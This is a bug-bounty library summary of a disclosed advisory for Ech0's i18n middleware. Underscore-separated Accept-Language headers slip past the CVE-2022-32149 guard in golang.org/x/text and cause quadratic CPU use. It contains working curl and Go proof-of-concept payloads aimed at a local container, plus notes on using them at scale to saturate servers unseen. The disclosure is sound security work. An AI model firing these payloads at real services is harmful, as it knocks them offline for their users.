# Ech0: ParseAcceptLanguage `_` separator bypass enables ~70x CPU amplification via Accept-Language header in i18n.Middleware

Ech0's i18n middleware passes unfiltered Accept-Language to ParseAcceptLanguage; `_` separators bypass the CVE-2022-32149 `-` guard, causing O(N²) CPU burn per request.

- Payout: Research
- Severity: high
- Program: Ech0
- Found by: tonghuaroot
- Disclosed: 2026-07-14
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-mqxv-9rm6-w8qc
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mqxv-9rm6-w8qc
- Tags: area:web domain:web impact:dos kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:parser-differential technique:source-review vuln:dos

**Target:** gin i18n middleware / Accept-Language header parsing (golang.org/x/text)
**Root cause:** Middleware forwards raw Accept-Language to goi18n.NewLocalizer → language.ParseAcceptLanguage with no size/shape filter. The CVE-2022-32149 guard counts only `-`, but the scanner aliases `_` to `-`, so `_`-separated tokens bypass the cap and hit the O(N²) gobble path.
**Steps:**
1. Run `docker run -d --name ech0 --rm -p 18300:6277 ghcr.io/lin-snow/ech0:latest`
2. Build payload: `en` followed by `_abcdefghi` repeated 100000 times (~1 MiB)
3. Send `curl -H "Accept-Language: ${PAYLOAD}" http://127.0.0.1:18300/` and time it
4. Observe ~1.5s server time vs 21ms for the `-` control; add `X-Locale: en` to reach ~7.9s
**How found:** Reporter read internal/i18n/i18n.go, traced Accept-Language through setLocaleContext → NewLocalizer → ParseAcceptLanguage, noted the CVE-2022-32149 guard counts `-` only while the scanner aliases `_` to `-`, then benchmarked `-` vs `_` payloads against the official image.
**Exploitation:** Unauthenticated attacker sends repeated GET requests with ~1 MiB Accept-Language headers of 9-char `_abcdefghi` tokens; each pins a core ~1.5s (or ~7.9s with X-Locale). Ten concurrent clients at ~10 MiB/s saturate a 10-core instance; responses are 200 OK so 4xx/5xx dashboards miss it.
**Escalation:** Adding `X-Locale: en` triggers a second ParseAcceptLanguage call via ResolveLocale, roughly 5x-ing per-request cost (~370x amplification vs guard-fires control).
**Insight:** When a DoS guard counts a specific delimiter, check whether the downstream parser normalizes other characters (e.g. `_`→`-`) into that delimiter before the guard's check — the guard may be bypassable with an equivalent separator.

## Proof of concept (copied exactly from the original report)

**Bash curl reproducer with underscore payload**

```
docker run -d --name ech0 --rm -p 18300:6277 ghcr.io/lin-snow/ech0:latest
sleep 5

PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"

curl -sS -o /dev/null \
  -w 'http=%{http_code} t=%{time_total}\n' \
  -H "Accept-Language: ${PAYLOAD}" \
  http://127.0.0.1:18300/
```

**Go PoC driver comparing '-' guard vs '_' bypass**

```
// poc.go
package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "strings"
    "time"
)

const targetURL = "http://127.0.0.1:18300/"

func buildPayload(sep string, targetBytes int) string {
    const tok = "abcdefghi"
    var b strings.Builder
    b.Grow(targetBytes + 16)
    b.WriteString("en")
    for b.Len()+1+len(tok) <= targetBytes {
        b.WriteString(sep)
        b.WriteString(tok)
    }
    return b.String()
}

func send(label, header string) {
    client := &http.Client{
        Timeout: 60 * time.Second,
        Transport: &http.Transport{
            DisableKeepAlives: true,
            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
        },
    }
    req, _ := http.NewRequest("GET", targetURL, nil)
    if header != "" {
        req.Header.Set("Accept-Language", header)
    }
    t0 := time.Now()
    resp, err := client.Do(req)
    dt := time.Since(t0)
    if err != nil {
        fmt.Printf("  %-32s ERR after %v: %v\n", label, dt, err)
        return
    }
    _, _ = io.Copy(io.Discard, resp.Body)
    resp.Body.Close()
    fmt.Printf("  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\n",
        label, len(header),
        strings.Count(header, "_"), strings.Count(header, "-"),
        resp.StatusCode, dt)
}

func main() {
    send("warm-up", "")
    send("baseline (no header)", "")
    send("baseline (1 short tag)", "en-US")
    send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
    send("attack ('_' x 1MiB)",     buildPayload("_", 1<<20))
    send("attack repeat 2",          buildPayload("_", 1<<20))
    send("attack repeat 3",          buildPayload("_", 1<<20))
}
```

